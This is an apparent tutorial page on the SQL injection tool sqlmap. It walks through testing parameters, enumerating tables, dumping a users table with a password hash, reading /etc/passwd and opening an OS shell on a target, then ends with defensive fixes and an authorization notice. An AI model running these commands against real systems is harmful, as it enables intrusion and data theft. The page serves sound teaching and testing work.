WarFi Labs

sqlmap

SQL injection ยท GPLv2

Automates finding and exploiting SQL injection, from a single vulnerable parameter all the way to dumping databases and shells.

Authorized use only. Run these only on systems you own or have explicit written permission to test. Full notice at the foot of the page.

01What sqlmap does

SQL injection is when user input reaches a database query unsanitised, letting you change what the query does. sqlmap automates the whole arc: it probes a parameter with a battery of injection techniques, confirms which work, identifies the database, and then, with your say-so, extracts data, reads files, or in some cases runs commands. It is powerful enough that the discipline is in restraint: confirm first, extract narrowly, and never point it outside your scope.

↑ contents

02Install

$ sudo emerge net-analyzer/sqlmap # Gentoo

$ sudo apt install sqlmap # Debian / Ubuntu / Kali

$ sudo dnf install sqlmap # Fedora / RHEL

03Testing a parameter

Give sqlmap a URL with a parameter and it tests that parameter for injection. -u is the target; by default it asks before each intrusive step, which is the right setting while you are learning. --batch takes the defaults without asking, for when you know what you are doing.

$ sqlmap -u 'https://target/item.php?id=1'

[*] starting @ 15:20:41 [15:20:42] [INFO] testing connection to the target URL [15:20:43] [INFO] testing if GET parameter 'id' is dynamic [15:20:44] [INFO] GET parameter 'id' appears to be injectable [15:20:46] [INFO] testing 'MySQL >= 5.6 boolean-based blind' [15:20:48] [INFO] GET parameter 'id' is 'boolean-based blind' injectable [15:20:51] [INFO] the back-end DBMS is MySQL GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N]

04Testing real requests with a saved request

Most real injection points are behind authentication, in POST bodies, or in headers, not in a tidy GET URL. Capture the real request (from Burp, ZAP, or the browser) to a file and feed it with -r; sqlmap then tests inside that exact request, cookies and all. Mark the parameter to test with an asterisk if it is in an unusual spot.

$ sqlmap -r request.txt -p username

$ sqlmap -r request.txt --level 3 --risk 2

05Level and risk

--level (1-5) widens where sqlmap looks (more parameters, headers, cookies); --risk (1-3) allows heavier payloads that could alter data. Higher is more thorough and more dangerous. Start low; raise only with reason and authorization, because risk 3 includes payloads that can modify the database.

» Defaults (level 1, risk 1) are safe and find most textbook injection. Raise them deliberately, not reflexively.

↑ contents

06Mapping the database

Once injection is confirmed, enumerate structure before you extract anything: databases, then tables, then columns. This keeps extraction narrow and intentional instead of hoovering everything.

$ sqlmap -r request.txt --dbs

$ sqlmap -r request.txt -D appdb --tables

$ sqlmap -r request.txt -D appdb -T users --columns

Database: appdb [3 tables] +-----------+ | users | | sessions | | orders | +-----------+

07Extracting data

Pull specific columns from a specific table, not the whole database. On your own app this proves the exposure; in a real assessment you extract only what demonstrates impact, because dumping live customer data you do not need is both reckless and a privacy breach.

$ sqlmap -r request.txt -D appdb -T users -C username,password --dump

Database: appdb Table: users +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +----+----------+----------------------------------+

08When injection becomes more

Depending on the database and its privileges, sqlmap can go further: read and write files on the server with --file-read and --file-write, or attempt an interactive OS shell with --os-shell. These are powerful and intrusive; they belong only in a lab or an engagement where that depth is explicitly authorized.

$ sqlmap -r request.txt --file-read=/etc/passwd

$ sqlmap -r request.txt --os-shell

[16:20:11] [INFO] fetching file: '/etc/passwd' [16:20:12] [INFO] the local file is saved to '~/.local/share/sqlmap/output/target/files/_etc_passwd' root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin [16:20:40] [INFO] going to use a web backdoor for command prompt os-shell> id command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

--os-shell writes to the target and can leave artefacts; never run it outside an authorized, ideally isolated, environment.

↑ contents

09Making your own app immune

Everything sqlmap exploits comes from one root cause: untrusted input concatenated into a query. The defence is well understood and absolute when applied consistently.

» Use parameterised queries (prepared statements) everywhere; they separate code from data and close the injection entirely. This is the real fix, not escaping.

» Apply least privilege to the database account the app uses; it should not be able to read files or drop tables.

» Validate and constrain input types, but treat this as defence in depth, not the primary control.

» A web application firewall slows sqlmap down but does not fix the bug; parameterised queries do.

» If you run sqlmap against your own app and it finds nothing even at higher levels, your prepared statements are doing their job. That is the test worth passing.

↑ contents

Authorized use only

The tools and techniques in these guides are for defending, testing, and understanding systems you own or have explicit written permission to assess. Unauthorized access to computers, networks, accounts, or data is a criminal offense in nearly every jurisdiction, and the penalties are real.

A few of the laws that apply, by way of example:

Wherever you are, the rule is the same: get authorization in writing, stay within the agreed scope, and never touch a system that is not yours to test. If you are unsure whether something is permitted, treat it as not permitted until you have clear authorization.

This is general information, not legal advice.